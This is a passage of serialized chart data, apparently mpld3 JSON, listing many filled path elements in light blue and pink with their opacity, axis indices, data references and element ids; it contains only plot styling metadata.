\"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702116432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702117712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114701774352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114701775184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114701749328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702135760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702137424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702155536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702157200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702158480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114702172880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114702174544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702188560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114702190224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702191504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702201808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702203472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702217488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data58\", \"id\": \"el126114702219152\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data59\", \"id\": \"el126114702233168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data60\", \"id\": \"el126114702234832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data61\", \"id\": \"el126114702236496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data61\", \"id\": \"el126114702254608\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data61\", \"id\": \"el126114702256272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114702262096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114702263824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114702265104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114702283600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114702285264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114702295184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114702296848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114702314960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114702316624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114702318288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114702328208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114702329872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114702339792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114702341456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114702343120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114702357136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114702358800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114702372816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114702374480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114702375760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114702386064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702387728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702401744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702403408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702421520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702423184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702424848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702438864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702440528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702450448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702452112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702453392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702467792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702469456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702483472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702485136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702486416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702500816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114702502480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702516496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702518160\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114702532176\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114702533840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114702535504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702553616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702555280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702561104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702562768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702564048\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data02\", \"id\": \"el126114702582544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data01\", \"id\": \"el126114702584208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702594128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data52\", \"id\": \"el126114702595792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702597072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702615568\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, 